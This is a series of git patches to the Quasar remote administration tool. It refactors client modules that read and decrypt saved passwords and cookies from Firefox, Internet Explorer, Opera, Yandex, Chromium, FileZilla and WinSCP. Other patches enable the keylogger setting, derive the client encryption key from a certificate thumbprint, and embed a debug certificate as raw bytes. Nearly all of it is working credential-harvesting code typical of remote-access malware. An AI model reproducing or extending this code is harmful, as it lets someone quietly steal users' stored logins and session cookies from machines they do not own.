host = sqlDatabase.GetValue(i, "hostname"); + var user = decrypter.Decrypt(sqlDatabase.GetValue(i, "encryptedUsername")); + var pass = decrypter.Decrypt(sqlDatabase.GetValue(i, "encryptedPassword")); + + if (!string.IsNullOrEmpty(host) && !string.IsNullOrEmpty(user)) + { + logins.Add(new RecoveredAccount + { + Url = host, + Username = user, + Password = pass, + Application = ApplicationName + }); + } + } + catch (Exception) + { + // ignore invalid entry + } + } + } + + if (loginsFound) + { + FFLogins ffLoginData; + using (var sr = File.OpenRead(loginsFile)) + { + ffLoginData = JsonHelper.Deserialize(sr); + } + + foreach (Login loginData in ffLoginData.Logins) + { + string username = decrypter.Decrypt(loginData.EncryptedUsername); + string password = decrypter.Decrypt(loginData.EncryptedPassword); + logins.Add(new RecoveredAccount + { + Username = username, + Password = password, + Url = loginData.Hostname.ToString(), + Application = ApplicationName + }); + } + } + } + } + + } + + return logins; + } + + [DataContract] + private class FFLogins + { + [DataMember(Name = "nextId")] + public long NextId { get; set; } + + [DataMember(Name = "logins")] + public Login[] Logins { get; set; } + + [IgnoreDataMember] + [DataMember(Name = "potentiallyVulnerablePasswords")] + public object[] PotentiallyVulnerablePasswords { get; set; } + + [IgnoreDataMember] + [DataMember(Name = "dismissedBreachAlertsByLoginGUID")] + public DismissedBreachAlertsByLoginGuid DismissedBreachAlertsByLoginGuid { get; set; } + + [DataMember(Name = "version")] + public long Version { get; set; } + } + + [DataContract] + private class DismissedBreachAlertsByLoginGuid + { + } + + [DataContract] + private class Login + { + [DataMember(Name = "id")] + public long Id { get; set; } + + [DataMember(Name = "hostname")] + public Uri Hostname { get; set; } + + [DataMember(Name = "httpRealm")] + public object HttpRealm { get; set; } + + [DataMember(Name = "formSubmitURL")] + public Uri FormSubmitUrl { get; set; } + + [DataMember(Name = "usernameField")] + public string UsernameField { get; set; } + + [DataMember(Name = "passwordField")] + public string PasswordField { get; set; } + + [DataMember(Name = "encryptedUsername")] + public string EncryptedUsername { get; set; } + + [DataMember(Name = "encryptedPassword")] + public string EncryptedPassword { get; set; } + + [DataMember(Name = "guid")] + public string Guid { get; set; } + + [DataMember(Name = "encType")] + public long EncType { get; set; } + + [DataMember(Name = "timeCreated")] + public long TimeCreated { get; set; } + + [DataMember(Name = "timeLastUsed")] + public long TimeLastUsed { get; set; } + + [DataMember(Name = "timePasswordChanged")] + public long TimePasswordChanged { get; set; } + + [DataMember(Name = "timesUsed")] + public long TimesUsed { get; set; } + } + } +} diff --git a/Quasar.Client/Recovery/Browsers/InternetExplorer.cs b/Quasar.Client/Recovery/Browsers/InternetExplorerPassReader.cs similarity index 98% rename from Quasar.Client/Recovery/Browsers/InternetExplorer.cs rename to Quasar.Client/Recovery/Browsers/InternetExplorerPassReader.cs index 71030f88e..7a3ad2eeb 100644 --- a/Quasar.Client/Recovery/Browsers/InternetExplorer.cs +++ b/Quasar.Client/Recovery/Browsers/InternetExplorerPassReader.cs @@ -1,4 +1,7 @@ -using System; +using Microsoft.Win32; +using Quasar.Client.Helper; +using Quasar.Common.Models; +using System; using System.Collections; using System.Collections.Generic; using System.ComponentModel; @@ -7,16 +10,16 @@ using System.Runtime.InteropServices; using System.Security.Cryptography; using System.Text; -using Microsoft.Win32; -using Quasar.Client.Helper; -using Quasar.Common.Models; namespace Quasar.Client.Recovery.Browsers { - public static class InternetExplorer + public class InternetExplorerPassReader : IAccountReader { + + public string ApplicationName => "Internet Explorer"; + #region Public Members - public static List GetSavedPasswords() + public IEnumerable ReadAccounts() { List data = new List(); @@ -34,25 +37,29 @@ public static List GetSavedPasswords() { foreach (string[] loginInfo in dataList) { - data.Add(new RecoveredAccount() { Username = loginInfo[0], Password = loginInfo[1], Url = item.UrlString, Application = "InternetExplorer" }); + data.Add(new RecoveredAccount() + { + Username = loginInfo[0], + Password = loginInfo[1], + Url = item.UrlString, + Application = ApplicationName + }); } } } catch (Exception) { - // TODO: Add packet sending for error } } } } catch (Exception) { - // TODO: Add packet sending for error } return data; } - + public static List GetSavedCookies() { return new List(); @@ -327,7 +334,6 @@ private enum HashParameters public class ExplorerUrlHistory : IDisposable { - private readonly IUrlHistoryStg2 obj; private UrlHistoryClass urlHistory; private List _urlHistoryList; @@ -1155,5 +1161,5 @@ public class UrlHistoryClass } -#endregion + #endregion } diff --git a/Quasar.Client/Recovery/Browsers/Opera.cs b/Quasar.Client/Recovery/Browsers/Opera.cs deleted file mode 100644 index 9f9971925..000000000 --- a/Quasar.Client/Recovery/Browsers/Opera.cs +++ /dev/null @@ -1,41 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using Quasar.Client.Recovery.Utilities; -using Quasar.Common.Models; - -namespace Quasar.Client.Recovery.Browsers -{ - public class Opera - { - public static List GetSavedPasswords() - { - try - { - string datapath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), - "Opera Software\\Opera Stable\\Login Data"); - return ChromiumBase.Passwords(datapath, "Opera"); - } - catch (Exception) - { - return new List(); - } - } - - public static List GetSavedCookies() - { - try - { - string datapath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), - "Opera Software\\Opera Stable\\Cookies"); - return ChromiumBase.Cookies(datapath, "Opera"); - } - catch (Exception) - { - return new List(); - } - } - - - } -} diff --git a/Quasar.Client/Recovery/Browsers/OperaPassReader.cs b/Quasar.Client/Recovery/Browsers/OperaPassReader.cs new file mode 100644 index 000000000..25e4907a2 --- /dev/null +++ b/Quasar.Client/Recovery/Browsers/OperaPassReader.cs @@ -0,0 +1,28 @@ +using Quasar.Common.Models; +using System; +using System.Collections.Generic; +using System.IO; + +namespace Quasar.Client.Recovery.Browsers +{ + public class OperaPassReader : ChromiumBase + { + /// + public override string ApplicationName => "Opera"; + + /// + public override IEnumerable ReadAccounts() + { + try + { + string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), + "Opera Software\\Opera Stable\\Login Data"); + return ReadAccounts(filePath, ApplicationName); + } + catch (Exception) + { + return new List(); + } + } + } +} diff --git a/Quasar.Client/Recovery/Browsers/Yandex.cs b/Quasar.Client/Recovery/Browsers/Yandex.cs deleted file mode 100644 index 5fc02916f..000000000 --- a/Quasar.Client/Recovery/Browsers/Yandex.cs +++ /dev/null @@ -1,39 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using Quasar.Client.Recovery.Utilities; -using Quasar.Common.Models; - -namespace Quasar.Client.Recovery.Browsers -{ - public class Yandex - { - public static List GetSavedPasswords() - { - try - { - string datapath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), - "Yandex\\YandexBrowser\\User Data\\Default\\Login Data"); - return ChromiumBase.Passwords(datapath, "Yandex"); - } - catch (Exception) - { - return new List(); - } - } - public static List GetSavedCookies() - { - try - { - string datapath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), - "Yandex\\YandexBrowser\\User Data\\Default\\Cookies"); - return ChromiumBase.Cookies(datapath, "Yandex"); - } - catch (Exception) - { - return new List(); - } - } - - } -} diff --git a/Quasar.Client/Recovery/Browsers/YandexPassReader.cs b/Quasar.Client/Recovery/Browsers/YandexPassReader.cs new file mode 100644 index 000000000..427fd9b1c --- /dev/null +++ b/Quasar.Client/Recovery/Browsers/YandexPassReader.cs @@ -0,0 +1,28 @@ +using Quasar.Common.Models; +using System; +using System.Collections.Generic; +using System.IO; + +namespace Quasar.Client.Recovery.Browsers +{ + public class YandexPassReader : ChromiumBase + { + /// + public override string ApplicationName => "Yandex"; + + /// + public override IEnumerable ReadAccounts() + { + try + { + string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), + "Yandex\\YandexBrowser\\User Data\\Default\\Login Data"); + return ReadAccounts(filePath, ApplicationName); + } + catch (Exception) + { + return new List(); + } + } + } +} diff --git a/Quasar.Client/Recovery/FtpClients/FileZilla.cs b/Quasar.Client/Recovery/FtpClients/FileZillaPassReader.cs similarity index 84% rename from Quasar.Client/Recovery/FtpClients/FileZilla.cs rename to Quasar.Client/Recovery/FtpClients/FileZillaPassReader.cs index b3d5e8a03..a9f5a6456 100644 --- a/Quasar.Client/Recovery/FtpClients/FileZilla.cs +++ b/Quasar.Client/Recovery/FtpClients/FileZillaPassReader.cs @@ -1,18 +1,23 @@ -using System; +using Quasar.Common.Models; +using System; using System.Collections.Generic; using System.IO; using System.Text; using System.Xml; -using Quasar.Common.Models; namespace Quasar.Client.Recovery.FtpClients { - public class FileZilla + public class FileZillaPassReader : IAccountReader { - public static string RecentServerPath = string.Format(@"{0}\FileZilla\recentservers.xml", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)); - public static string SiteManagerPath = string.Format(@"{0}\FileZilla\sitemanager.xml", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)); + /// + public string ApplicationName => "FileZilla"; - public static List GetSavedPasswords() + public string RecentServerPath = string.Format(@"{0}\FileZilla\recentservers.xml", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)); + + public string SiteManagerPath = string.Format(@"{0}\FileZilla\sitemanager.xml", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)); + + /// + public IEnumerable ReadAccounts() { List data = new List(); try @@ -48,7 +53,7 @@ public static List GetSavedPasswords() Url = szHost, Username = szUsername, Password = szPassword, - Application = "FileZilla" + Application = ApplicationName }); } } @@ -93,7 +98,7 @@ public static List GetSavedPasswords() } } - public static string Base64Decode(string szInput) + public string Base64Decode(string szInput) { try { diff --git a/Quasar.Client/Recovery/FtpClients/WinSCP.cs b/Quasar.Client/Recovery/FtpClients/WinScpPassReader.cs similarity index 91% rename from Quasar.Client/Recovery/FtpClients/WinSCP.cs rename to Quasar.Client/Recovery/FtpClients/WinScpPassReader.cs index 503cac08e..3823ad5c0 100644 --- a/Quasar.Client/Recovery/FtpClients/WinSCP.cs +++ b/Quasar.Client/Recovery/FtpClients/WinScpPassReader.cs @@ -1,16 +1,20 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using Microsoft.Win32; +using Microsoft.Win32; using Quasar.Client.Extensions; using Quasar.Client.Helper; using Quasar.Common.Models; +using System; +using System.Collections.Generic; +using System.Linq; namespace Quasar.Client.Recovery.FtpClients { - public class WinSCP + public class WinScpPassReader : IAccountReader { - public static List GetSavedPasswords() + /// + public string ApplicationName => "WinSCP"; + + /// + public IEnumerable ReadAccounts() { List data = new List(); try @@ -40,7 +44,7 @@ public static List GetSavedPasswords() Url = host, Username = user, Password = password, - Application = "WinSCP" + Application = ApplicationName }); } } @@ -53,14 +57,15 @@ public static List GetSavedPasswords() } } - static int dec_next_char(List list) + private int dec_next_char(List list) { int a = int.Parse(list[0]); int b = int.Parse(list[1]); int f = (255 ^ (((a << 4) + b) ^ 0xA3) & 0xff); return f; } - static string WinSCPDecrypt(string user, string pass, string host) + + private string WinSCPDecrypt(string user, string pass, string host) { try { diff --git a/Quasar.Client/Recovery/IPassReader.cs b/Quasar.Client/Recovery/IPassReader.cs new file mode 100644 index 000000000..ed4331eac --- /dev/null +++ b/Quasar.Client/Recovery/IPassReader.cs @@ -0,0 +1,22 @@ +using Quasar.Common.Models; +using System.Collections.Generic; + +namespace Quasar.Client.Recovery +{ + /// + /// Provides a common way to read stored accounts from applications. + /// + public interface IAccountReader + { + /// + /// Reads the stored accounts of the application. + /// + /// A list of recovered accounts + IEnumerable ReadAccounts(); + + /// + /// The name of the application. + /// + string ApplicationName { get; } + } +} diff --git a/Quasar.Client/Recovery/Utilities/Chromium.cs b/Quasar.Client/Recovery/Utilities/Chromium.cs deleted file mode 100644 index c8b0b72f7..000000000 --- a/Quasar.Client/Recovery/Utilities/Chromium.cs +++ /dev/null @@ -1,174 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Security.Cryptography; -using System.Text; -using Quasar.Common.Models; - -namespace Quasar.Client.Recovery.Utilities -{ - public class ChromiumBase - { - public static List Passwords(string datapath, string browser) - { - List data = new List(); - SQLiteHandler SQLDatabase = null; - - if (!File.Exists(datapath)) - return data; - - try - { - SQLDatabase = new SQLiteHandler(datapath); - } - catch (Exception) - { - return data; - } - - if (!SQLDatabase.ReadTable("logins")) - return data; - - string host; - string user; - string pass; - int totalEntries = SQLDatabase.GetRowCount(); - - for (int i = 0; i < totalEntries; i++) - { - try - { - host = SQLDatabase.GetValue(i, "origin_url"); - user = SQLDatabase.GetValue(i, "username_value"); - pass = Decrypt(SQLDatabase.GetValue(i, "password_value")); - - if (!String.IsNullOrEmpty(host) && !String.IsNullOrEmpty(user) && pass != null) - { - data.Add(new RecoveredAccount - { - Url = host, - Username = user, - Password = pass, - Application = browser - }); - } - } - catch (Exception) - { - // TODO: Exception handling - } - } - - return data; - } - public static List Cookies(string dataPath, string browser) - { - string datapath = dataPath; - - List data = new List(); - SQLiteHandler SQLDatabase = null; - - if (!File.Exists(datapath)) - return data; - try - { - SQLDatabase = new SQLiteHandler(datapath); - } - catch (Exception) - { - return data; - } - - if (!SQLDatabase.ReadTable("cookies")) - return data; - - string host; - string name; - string value; - string path; - string expires; - string lastaccess; - bool secure; - bool http; - bool expired; - bool persistent; - bool priority; - - int totalEntries = SQLDatabase.GetRowCount(); - - for (int i = 0; i < totalEntries; i++) - { - try - { - host = SQLDatabase.GetValue(i, "host_key"); - name = SQLDatabase.GetValue(i, "name"); - value = Decrypt(SQLDatabase.GetValue(i, "encrypted_value")); - path = SQLDatabase.GetValue(i, "path"); - expires = SQLDatabase.GetValue(i, "expires_utc"); - lastaccess = SQLDatabase.GetValue(i, "last_access_utc"); - - secure = SQLDatabase.GetValue(i, "secure") == "1"; - http = SQLDatabase.GetValue(i, "httponly") == "1"; - expired = SQLDatabase.GetValue(i, "has_expired") == "1"; - persistent = SQLDatabase.GetValue(i, "persistent") == "1"; - priority = SQLDatabase.GetValue(i, "priority") == "1"; - - - if (!String.IsNullOrEmpty(host) && !String.IsNullOrEmpty(name) && !String.IsNullOrEmpty(value)) - { - data.Add(new ChromiumCookie - { - HostKey = host, - Name = name, - Value = value, - Path = path, - ExpiresUTC = expires, - LastAccessUTC = lastaccess, - Secure = secure, - HttpOnly = http, - Expired = expired, - Persistent = persistent, - Priority = priority, - Browser = browser - - }); - } - } - catch (Exception) - { - - } - } - - return data; - } - private static string Decrypt(string EncryptedData) - { - if (EncryptedData == null || EncryptedData.Length == 0) - { - return null; - } - byte[] decryptedData = ProtectedData.Unprotect(System.Text.Encoding.Default.GetBytes(EncryptedData), null, DataProtectionScope.CurrentUser); - return Encoding.UTF8.GetString(decryptedData); - } - public class ChromiumCookie - { - public string HostKey { get; set; } - public string Name { get; set; } - public string Value { get; set; } - public string Path { get; set; } - public string ExpiresUTC { get; set; } - public string LastAccessUTC { get; set; } - public bool Secure { get; set; } - public bool HttpOnly { get; set; } - public bool Expired { get; set; } - public bool Persistent { get; set; } - public bool Priority { get; set; } - public string Browser { get; set; } - public override string ToString() - { - return String.Format("Domain: {1}{0}Cookie Name: {2}{0}Value: {3}{0}Path: {4}{0}Expired: {5}{0}HttpOnly: {6}{0}Secure: {7}", Environment.NewLine, HostKey, Name, Value, Path, Expired, HttpOnly, Secure); - } - } - } -} diff --git a/Quasar.Client/Recovery/Utilities/SQLiteHandler.cs b/Quasar.Client/Recovery/Utilities/SQLiteHandler.cs index 982e9f930..0fcd24d21 100644 --- a/Quasar.Client/Recovery/Utilities/SQLiteHandler.cs +++ b/Quasar.Client/Recovery/Utilities/SQLiteHandler.cs @@ -1,9 +1,8 @@ using System; +using System.Collections.Generic; using System.IO; using System.Runtime.InteropServices; using System.Text; -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; namespace Quasar.Client.Recovery.Utilities { @@ -11,7 +10,7 @@ public class SQLiteHandler { private byte[] db_bytes; private ulong encoding; - private string[] field_names; + private string[] field_names = new string[1]; private sqlite_master_entry[] master_table_entries; private ushort page_size; private byte[] SQLDataTypeSize = new byte[] { 0, 1, 2, 3, 4, 6, 8, 8, 0, 0 }; @@ -21,11 +20,7 @@ public SQLiteHandler(string baseName) { if (File.Exists(baseName)) { - FileSystem.FileOpen(1, baseName, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared, -1); - string str = Strings.Space((int)FileSystem.LOF(1)); - FileSystem.FileGet(1, ref str, -1L, false); - FileSystem.FileClose(new int[] { 1 }); - this.db_bytes = Encoding.Default.GetBytes(str); + this.db_bytes = File.ReadAllBytes(baseName); if (Encoding.Default.GetString(this.db_bytes, 0, 15).CompareTo("SQLite format 3") != 0) { throw new Exception("Not a valid SQLite 3 Database File"); @@ -116,19 +111,16 @@ public int GetRowCount() public string[] GetTableNames() { - string[] strArray2 = null; - int index = 0; + List tableNames = new List(); int num3 = this.master_table_entries.Length - 1; for (int i = 0; i <= num3; i++) { if (this.master_table_entries[i].item_type == "table") { - strArray2 = (string[])Utils.CopyArray((Array)strArray2, new string[index + 1]); - strArray2[index] = this.master_table_entries[i].item_name; - index++; + tableNames.Add(this.master_table_entries[i].item_name); } } - return strArray2; + return tableNames.ToArray(); } public string GetValue(int row_num, int field) @@ -198,7 +190,7 @@ private void ReadMasterTable(ulong Offset) if (this.master_table_entries != null) { length = this.master_table_entries.Length; - this.master_table_entries = (sqlite_master_entry[])Utils.CopyArray((Array)this.master_table_entries, new sqlite_master_entry[(this.master_table_entries.Length + num2) + 1]); + Array.Resize(ref master_table_entries, this.master_table_entries.Length + num2 + 1); } else { @@ -334,7 +326,8 @@ public bool ReadTable(string TableName) { break; } - this.field_names = (string[])Utils.CopyArray((Array)this.field_names, new string[j + 1]); + + Array.Resize(ref field_names, j + 1); this.field_names[j] = strArray[j]; } return this.ReadTableFromOffset((ulong)((this.master_table_entries[index].root_num - 1L) * this.page_size)); @@ -349,7 +342,7 @@ private bool ReadTableFromOffset(ulong Offset) if (this.table_entries != null) { length = this.table_entries.Length; - this.table_entries = (table_entry[])Utils.CopyArray((Array)this.table_entries, new table_entry[(this.table_entries.Length + num2) + 1]); + Array.Resize(ref this.table_entries, this.table_entries.Length + num2 + 1); } else { @@ -358,7 +351,7 @@ private bool ReadTableFromOffset(ulong Offset) int num16 = num2; for (int i = 0; i <= num16; i++) { - record_header_field[] _fieldArray = null; + record_header_field[] _fieldArray = new record_header_field[1]; ulong num = this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 8M), new decimal(i * 2))), 2); if (decimal.Compare(new decimal(Offset), 100M) != 0) { @@ -375,7 +368,7 @@ private bool ReadTableFromOffset(ulong Offset) long num10 = Convert.ToInt64(decimal.Add(decimal.Subtract(new decimal(num), new decimal(endIndex)), decimal.One)); for (int j = 0; num10 < num7; j++) { - _fieldArray = (record_header_field[])Utils.CopyArray((Array)_fieldArray, new record_header_field[j + 1]); + Array.Resize(ref _fieldArray, j + 1); endIndex = num8 + 1; num8 = this.GVL(endIndex); _fieldArray[j].type = this.CVL(endIndex, num8); @@ -425,7 +418,7 @@ private bool ReadTableFromOffset(ulong Offset) } else { - this.table_entries[length + i].content[k] = Conversions.ToString(this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), (int)_fieldArray[k].size)); + this.table_entries[length + i].content[k] = Convert.ToString(this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), (int)_fieldArray[k].size)); } num4 += (int)_fieldArray[k].size; } diff --git a/Quasar.Client/Utilities/NativeMethods.cs b/Quasar.Client/Utilities/NativeMethods.cs index 3ae08c2f9..b1a7064a4 100644 --- a/Quasar.Client/Utilities/NativeMethods.cs +++ b/Quasar.Client/Utilities/NativeMethods.cs @@ -21,7 +21,11 @@ internal struct LASTINPUTINFO [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] internal static extern IntPtr LoadLibrary(string lpFileName); - [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + internal static extern bool FreeLibrary(IntPtr hModule); + + [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] internal static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32.dll", SetLastError = true)] From f30485bd372e8d475da48e4d22ca170752d4b08b Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sun, 31 May 2020 13:45:53 +0200 Subject: [PATCH 192/229] Update client x86 install paths --- Quasar.Server/Build/ClientBuilder.cs | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/Quasar.Server/Build/ClientBuilder.cs b/Quasar.Server/Build/ClientBuilder.cs index 2a3a200b7..fa48f4604 100644 --- a/Quasar.Server/Build/ClientBuilder.cs +++ b/Quasar.Server/Build/ClientBuilder.cs @@ -202,19 +202,19 @@ private OpCode BoolOpCode(bool p) /// /// Attempts to obtain the signed-byte value of a special folder from the install path value provided. /// - /// The integer value of the install path. + /// The integer value of the install path. /// Returns the signed-byte value of the special folder. - /// Thrown if the path to the special folder was invalid. - private sbyte GetSpecialFolder(int installpath) + /// Thrown if the path to the special folder was invalid. + private sbyte GetSpecialFolder(int installPath) { - switch (installpath) + switch (installPath) { case 1: return (sbyte)Environment.SpecialFolder.ApplicationData; case 2: - return (sbyte)Environment.SpecialFolder.ProgramFilesX86; + return (sbyte)Environment.SpecialFolder.ProgramFiles; case 3: - return (sbyte)Environment.SpecialFolder.SystemX86; + return (sbyte)Environment.SpecialFolder.System; default: throw new ArgumentException("InstallPath"); } From b9eb679296f447a022e46b36af266666c1af0230 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sun, 31 May 2020 14:07:07 +0200 Subject: [PATCH 193/229] Fix account type name --- Quasar.Client/Networking/QuasarClient.cs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Quasar.Client/Networking/QuasarClient.cs b/Quasar.Client/Networking/QuasarClient.cs index 03940ed21..3eb2f42c4 100644 --- a/Quasar.Client/Networking/QuasarClient.cs +++ b/Quasar.Client/Networking/QuasarClient.cs @@ -124,7 +124,7 @@ private void OnClientState(Client client, bool connected) { Version = Settings.VERSION, OperatingSystem = PlatformHelper.FullName, - AccountType = nameof(userAccount.Type), + AccountType = userAccount.Type.ToString(), Country = geoInfo.Country, CountryCode = geoInfo.CountryCode, ImageIndex = geoInfo.ImageIndex, From 28f6ceaf6f76bd104f0d4bb64bf3084d57f7e7a8 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sun, 31 May 2020 15:31:51 +0200 Subject: [PATCH 194/229] Use certificate thumbprint as key for client logs Fixes #778 --- Quasar.Client/Config/Settings.cs | 4 +- Quasar.Server/Build/ClientBuilder.cs | 6 +- Quasar.Server/Forms/FrmMain.cs | 6 +- Quasar.Server/Models/DummyCertificate.cs | 200 +++++++++++++++++++++++ 4 files changed, 206 insertions(+), 10 deletions(-) create mode 100644 Quasar.Server/Models/DummyCertificate.cs diff --git a/Quasar.Client/Config/Settings.cs b/Quasar.Client/Config/Settings.cs index e9caa89a9..01a545f4e 100644 --- a/Quasar.Client/Config/Settings.cs +++ b/Quasar.Client/Config/Settings.cs @@ -26,8 +26,8 @@ public static class Settings public static string MUTEX = "123AKs82kA,ylAo2kAlUS2kYkala!"; public static string STARTUPKEY = "Test key"; public static bool HIDEFILE = false; - public static bool ENABLELOGGER = false; - public static string ENCRYPTIONKEY = "-.)4>[=u%5G3hY3&"; + public static bool ENABLELOGGER = true; + public static string ENCRYPTIONKEY = "CFCD0759E20F29C399C9D4210BE614E4E020BEE8"; public static string TAG = "DEBUG"; public static string LOGDIRECTORYNAME = "Logs"; public static string SERVERSIGNATURE = ""; diff --git a/Quasar.Server/Build/ClientBuilder.cs b/Quasar.Server/Build/ClientBuilder.cs index fa48f4604..69963e109 100644 --- a/Quasar.Server/Build/ClientBuilder.cs +++ b/Quasar.Server/Build/ClientBuilder.cs @@ -81,12 +81,12 @@ public void Build() private void WriteSettings(AssemblyDefinition asmDef) { - var key = StringHelper.GetRandomString(32); - var aes = new Aes256(key); - var caCertificate = new X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable); var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert)); // export without private key, very important! + var key = serverCertificate.Thumbprint; + var aes = new Aes256(key); + byte[] signature; // https://stackoverflow.com/a/49777672 RSACryptoServiceProvider must be changed with .NET 4.6 using (var csp = (RSACryptoServiceProvider) caCertificate.PrivateKey) diff --git a/Quasar.Server/Forms/FrmMain.cs b/Quasar.Server/Forms/FrmMain.cs index ea7e5114e..d2b75e439 100644 --- a/Quasar.Server/Forms/FrmMain.cs +++ b/Quasar.Server/Forms/FrmMain.cs @@ -1,8 +1,6 @@ using Quasar.Common.Enums; -using Quasar.Common.IO; using Quasar.Common.Messages; using Quasar.Server.Extensions; -using Quasar.Server.Helper; using Quasar.Server.Messages; using Quasar.Server.Models; using Quasar.Server.Networking; @@ -12,11 +10,9 @@ using System.IO; using System.Linq; using System.Net.Sockets; -using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates; using System.Threading; using System.Windows.Forms; -using Quasar.Common.Cryptography; namespace Quasar.Server.Forms { @@ -86,7 +82,7 @@ private void InitializeServer() { X509Certificate2 serverCertificate; #if DEBUG - serverCertificate = CertificateHelper.CreateCertificateAuthority("Quasar Server CA", 2048); + serverCertificate = new DummyCertificate(); #else if (!File.Exists(Settings.CertificatePath)) { diff --git a/Quasar.Server/Models/DummyCertificate.cs b/Quasar.Server/Models/DummyCertificate.cs new file mode 100644 index 000000000..7ee85588a --- /dev/null +++ b/Quasar.Server/Models/DummyCertificate.cs @@ -0,0 +1,200 @@ +using System.Security.Cryptography.X509Certificates; + +namespace Quasar.Server.Models +{ + /// + /// Provides a dummy certificate for debugging. Do not use in production. + /// + public sealed class DummyCertificate : X509Certificate2 + { + private static readonly byte[] CertificateBytes = + { + 48, 130, 16, 163, 2, 1, 3, 48, 130, 16, 95, 6, 9, 42, 134, 72, 134, 247, 13, 1, 7, 1, 160, 130, 16, 80, 4, + 130, 16, 76, 48, 130, 16, 72, 48, 130, 10, 177, 6, 9, 42, 134, 72, 134, 247, 13, 1, 7, 1, 160, 130, 10, 162, + 4, 130, 10, 158, 48, 130, 10, 154, 48, 130, 10, 150, 6, 11, 42, 134, 72, 134, 247, 13, 1, 12, 10, 1, 2, 160, + 130, 9, 126, 48, 130, 9, 122, 48, 28, 6, 10, 42, 134, 72, 134, 247, 13, 1, 12, 1, 3, 48, 14, 4, 8, 55, 218, + 160, 56, 14, 249, 193, 233, 2, 2, 7, 208, 4, 130, 9, 88, 200, 194, 253, 138, 219, 236, 70, 232, 138, 10, 70, + 100, 167, 76, 74, 50, 45, 18, 111, 58, 93, 132, 87, 28, 203, 147, 242, 255, 250, 211, 45, 70, 61, 227, 211, + 189, 24, 140, 30, 238, 231, 207, 40, 100, 115, 10, 78, 79, 243, 48, 109, 55, 71, 46, 223, 169, 135, 33, 119, + 67, 58, 16, 65, 45, 3, 94, 57, 129, 84, 18, 83, 77, 105, 100, 87, 180, 125, 168, 229, 247, 113, 150, 224, + 249, 36, 150, 140, 88, 20, 195, 200, 125, 3, 161, 133, 194, 135, 71, 196, 59, 7, 101, 146, 63, 140, 0, 0, + 190, 166, 13, 86, 157, 225, 181, 78, 176, 62, 206, 73, 30, 69, 99, 65, 197, 122, 75, 135, 21, 122, 19, 110, + 25, 0, 19, 130, 90, 74, 32, 117, 253, 141, 107, 149, 94, 122, 121, 251, 129, 17, 152, 23, 148, 19, 81, 178, + 237, 190, 85, 253, 215, 145, 119, 77, 0, 69, 76, 148, 226, 232, 121, 200, 51, 213, 142, 55, 68, 238, 132, + 80, 196, 163, 175, 246, 6, 205, 164, 59, 159, 111, 72, 42, 100, 8, 37, 152, 69, 241, 237, 217, 20, 168, 30, + 168, 54, 131, 47, 127, 229, 13, 24, 33, 109, 37, 254, 105, 168, 48, 81, 20, 166, 150, 43, 242, 139, 104, + 209, 134, 51, 8, 6, 255, 107, 49, 40, 140, 41, 130, 238, 6, 193, 51, 203, 107, 144, 43, 60, 118, 9, 243, 96, + 45, 212, 72, 129, 126, 204, 180, 165, 208, 158, 174, 244, 42, 241, 148, 107, 231, 233, 80, 117, 114, 204, + 37, 80, 246, 180, 99, 138, 254, 132, 96, 235, 171, 136, 82, 198, 55, 115, 203, 195, 180, 150, 155, 182, 73, + 191, 146, 194, 83, 98, 114, 100, 93, 146, 25, 36, 71, 169, 179, 22, 119, 49, 38, 60, 147, 27, 32, 168, 45, + 140, 6, 83, 44, 14, 226, 54, 122, 98, 105, 50, 191, 166, 12, 102, 226, 110, 220, 54, 42, 141, 93, 11, 200, + 172, 94, 19, 75, 164, 69, 17, 145, 108, 138, 54, 226, 47, 226, 2, 6, 209, 217, 27, 136, 7, 189, 189, 20, 60, + 77, 186, 166, 233, 243, 15, 2, 62, 82, 219, 35, 144, 191, 26, 21, 20, 200, 92, 70, 215, 127, 243, 180, 125, + 222, 249, 91, 125, 54, 117, 123, 0, 86, 65, 156, 222, 235, 164, 184, 54, 117, 24, 176, 198, 242, 144, 109, + 212, 0, 195, 16, 219, 74, 28, 101, 99, 107, 102, 202, 58, 247, 59, 220, 218, 57, 245, 103, 90, 85, 252, 205, + 105, 125, 109, 154, 142, 77, 76, 146, 49, 222, 17, 149, 128, 106, 106, 231, 75, 106, 4, 127, 146, 15, 143, + 40, 136, 178, 225, 61, 123, 70, 135, 188, 34, 235, 63, 89, 77, 154, 55, 65, 194, 36, 70, 61, 176, 80, 33, + 69, 224, 131, 147, 75, 240, 179, 195, 45, 226, 152, 9, 142, 95, 30, 108, 203, 1, 179, 113, 138, 86, 3, 